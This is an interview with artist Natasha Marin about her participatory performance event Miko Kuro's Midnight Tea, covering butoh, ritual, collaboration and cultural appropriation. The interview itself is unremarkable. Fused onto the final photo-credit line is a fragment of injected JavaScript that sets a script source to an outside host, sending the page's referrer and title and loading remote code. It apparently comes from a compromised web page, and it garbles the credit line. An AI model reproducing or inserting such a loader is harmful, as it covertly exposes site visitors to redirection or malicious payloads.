with Khadijah Queen
This interview took place over email in the summer of 2009. Natasha Marin is a community arts organizer. She believes that art is not only made, but also happens naturally– that art can go beyond its own reality into a more profound way of being and seeing the world that can change a person’s life. Working in collaboration with others to create transformative environments for art-making is her passion. She works at 45WEST STUDIOS in downtown Vancouver and lives with her partner, Kelly and their daughter, Roman, in Seattle. Find her on the web at www.mikokuro.com.
What is Miko Kuro’s Midnight Tea?
In many ways, Miko Kuro’s Midnight Tea (MKMT) defies definition. It is a form of cultural expression which constantly changes and adapts to the people who participate in its manifestation. And those people are different every time the event occurs. But let me give it a shot:
MKMT is a conceptual art project that I designed over the course of 2 years which involves creating an interactive multimedia installation space during which guests and participating artists co-create an environment rich in creative possibility that engages each individual on a multi-sensory level.
Halloween Midnight Tea featuring Shree Joglekar & Jui Mhatre.
MKMT is a place of Genuine Encounter, where all people (regardless of race, class, sexual orientation, nationality, or education level, etc.) are allowed to play and explore their relationship to creativity, community and spirituality within the context of an art happening.
Inspired by the principles of the traditional Japanese tea ceremony, MKMT is a direct response to Pop art and its aftershocks, in that the separation between the art work and the viewer, is non-existent. People become the art that they are witnessing. Dividing lines disappear. The viewer is an essential component, rather than a passive consumer of the work.
Midnight has for a very long time, been regarded by people of culturally diverse backgrounds to be a transformative and magical time. If zero represents the mathematical equivalent of pure potential, then midnight would be the temporal equivalent.
Tell me how you came about the idea to do the tea.
It probably sounds a bit facile, but I really do believe that art is transformative. I also believe that all of us are connected. As such, I believe that rituals emerge from our communities quite naturally as a function of our human-ness and that healing requires the full participation of the healer and those who are seeking healing. The Midnight Tea project came to me as the natural conclusion to the problem of how to bring people together for all of these purposes in an anti-exclusive environment wherein creative transformation would be possible.
Why performance art, specifically butoh?
When an artist is too poor to hire a body to move on her behalf as if a puppet or in whatever way the creative mind can imagine, the artist must herself become the performer. I am this sort of reluctant performer. It just so happened that I was studying butoh with Diana Garcia-Snyder in Seattle at about the same time I was getting my studio space settled in Vancouver. Diana was the proverbial teacher who appears when the pupil is ready. I learned from her that the body can find its fetal rhythm and/or ancestral self through movement of this kind. There is also something darkly seductive about the way the body moves when animated by the butoh-spirit. In many ways, it has allowed me to unlock previously unknown valences of my innermost self.
What is Afro-Caribbean butoh?
If butoh is a form of movement, wherein the body locates its own fetal state, then Caribbean butoh (as Caribbean-ness also involves African-ness) is the culturally “Caribbean” version of this traditionally Japanese dance form. Butoh began as a response to ballet, which I studied for twelve years. Ballet is about form, butoh is about non-form or liminality. Even with my predelection for contrast and chiaroscuro, I prefer the gray in a black and white world.
What is your art’s relationship to poetry?
Poetry allows the mind to create magic between words. A good poem is like a roadmap into a new experiential paradigm. I use poetry in the form of video, sound installation, text as illustration and in its more traditional forms as a means of incantation during the Miko Kuro’s Midnight Tea events.
Do you feel inside or outside pressure to do one medium or another? If so, how do you transcend that pressure?
The white men who run the world have a long history of being terribly unimaginative. For years, this has been disguised by the tendency (dare I say “habit”) to appropriate other cultures’ innovations. Fortunately, I recognize this and resist it.
Wow, that’s so loaded. I know it is complex and has a long, deep backstory, but explain why it is important to you to point that out.
Culture is a fluid, living thing. We must find ways to recognize each other and each other’s work without dismantling it or inserting it into our already flawed cultural narratives. Recognition is the first step in validation. When you validate cultural differences, you are demonstrating a certain level of respect. This *is* pretty loaded– like dissertation-loaded, so I will say one last thing: anthropological gazing is self-revelatory. Everything we see is about us because we are the “them” that we want to put outside of our comfort zones.
It bothers me sometimes that I feel very alone in my work– as though I am creating the path that I am walking– but I am reassured when I see how my approach affects non-traditional art consumers who might otherwise dismiss art as an elitist luxury, rather than the transformative exchange it has the potential to be.
November 2009 Midnight Tea featuring Deidre Gantt as Dirty Mary.
How does that affect your feelings of aloneness?
It is very likely that my isolation, real, felt or otherwise, is the basis for my work in this platform. Miko Kuro’s Midnight Tea is a mandala. It requires one’s full participation. Only then can it move the participant into the next dimension. In the ovum-state, the tea is a poem. An arrow-like intention, which goes out into the cosmic net of potential as the proverbial voice in the darkness, from which “reality” manifests. It is the collective art of 12 potentials who are animated within a narrative that I co-create along with Featured Artists, Special Guests, and everyone else involved in the project. The work in its entirety emerges from this place of real or perceived separateness so in every way possible, it attempts to make connections, find commonalities, and transform an event into a new paradigm of shared, yet individualized experiences of art.
Does it help your process to see how your work affects non-traditional art consumers?
I am interested in the patternless world of chaos. My work strives to be at all times both passionate and organic. I am using the word organic as the antonym for “contrived” here. I can see the tea in the realm of possibility in my mind before it happens in “real life” but it always is something different than I imagined. I allow this to increase and expand my perspective. I welcome it!
Why do we even create art? Is there a fragile hope inside each attempt to outlast ourselves? To inspire or interrogate? The tea doesn’t want a certain experience as much as it wants a natural one. Nature has sprezzatura mastered already. A rock balancing, becomes a haiku. A field of red flowers, turns into a song. Life as a human being in flesh and wonder and despair is archived in art.
Midnight Tea Guest, Jina Anika.
Having done a tea with you, I witnessed the transformative power of the performance. How have guests (and guest performers) said the tea affects them in their everyday lives?
Well, my dear … you tell me! I wouldn’t be able to speculate on anyone else’s experience of the tea. For me, it is a practice, a mantra of sorts which is helping me to understand many, many things. The realm of the unknown is so deeply and enticingly alluring, one can swoon into the magic of potential realities so easily at midnight, maybe it’s the moon– so much like an x-ray of the sun turned bone-white in the black sky.
When I am able to immerse myself in my passion– the creation of spaces like Miko Kuro’s Midnight Tea– the feeling itself is transcendental. In those moments, I care about nothing else.
I know the tea is elaborately organized. Do you want to talk about the structure and the rationale behind the ritual?
I am constantly revising and having new ideas on how to make the tea. It is like culture– always in flux.. It is not static. I have to remain vigilantly “awake” to see what is working and what isn’t. It also helps to get honest feedback from my guests and the other artists who are contributing to its creation. It is commonly said of the traditional Japanese tea ceremony, that the excitement, the passion and the aesthetic fulfillment for the host is in all the planning that goes into the actual tea ceremony. I believe this is true. When you devote yourself completely to bringing about a transformative experience for someone else, you often find yourself changed– made lighter and more complete at the same time.
What do you love most about doing the tea?
I love the play– the improvisation– the giving up and giving in part, where I release my control of all the planning, all the details and let the guests create the reality they are in the midst of. Seeing how each individual’s perspective contributes to the outcome (what in the end is the Tea Experience) is mind-blowing, validating and inspiring all at the same time. And strangely and luckily, it seems that only the coolest and most engaging people are drawn to this project!
What is one of the most memorable or profound understandings you’ve achieved?
People need magic in their lives. People need art in their lives. It’s difficult to receive. We have to practice being guests. Ritual allows us to be our better selves. And holding a hot cup of tea among strangers is in and of itself, an experience.
Talk about collaboration. I know it is a passion of yours. How does affect your creative self/process?
Collaboration is how everything worthwhile in my life has happened. I haven’t accomplished anything by myself. An idea is only a thought until you assemble a task force to bring it into fruition. Working with other artists allows me a glimpse into their minds, their process, the very essence of who they are. It also challenges me to do my best work because I am not accountable on my own.
Collaboration is collective witnessing. It allows us to support and validate each other while working towards a common creative goal. I have been fortunate enough to work with artists from a variety of disciplines. I have never felt that any collaborative endeavor was a waste of my time. Naturally, some encounters are more fulfilling than others, but people are different and thus the chemistry between people varies. Sometimes it is rewarding on a level so fundamental, your former self becomes unrecognizable.
August 2009 Midnight Tea featuring Anastacia Tolbert. Pictured: Natasha Marin as Goldface Miko.
What about the people – how do you choose who you’ll work with?
The people who are supposed to work on this project seem to find me. It is the curious, the seeking, the hopeful and the brave to whom I am calling. I, by myself, can only do so much. But when working with others who can contribute an entirely different skill set, the project seems to have limitless potential.
What about the audience? Do you have regulars, or is it different each time? What are their reactions?
We do have a few regulars, but mostly the people who come are different every time. Their reactions are like their perspectives — varied, yet all beautiful and honest. Fear is part of nature.
November 2009 Midnight Tea. Pictured: Go, the Bound One (Guest, Malissa Kent).
What is your ultimate ambition for this project?
My vision is small. My scope only belongs to me. I want this project to go beyond the individual imaginings of those who are a part of it. For me, fame would be lovely (admittedly the song from the ’80s plays occasionally in my head), but knowing that what I’m doing is real and affects individuals on a personal level is enough to satisfy my ego.
How can people support your work?
They can visit the event website www.mikokuro.com and poke around. There they can sign up to volunteer, be a guest, donate funds and/or be a sponsor on the website. Sponsorship is easy, anyone of any income level can do it! Visitors can also get a sneak peek of the project documentary that is forthcoming! They can also purchase the full-color exhibition catalog of all the teas from the first cycle of the project, complete with essays and poems and images, for $65.
Fantastic. Thank you!
All photo credits are (c) Dafang Jiang, 2009s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;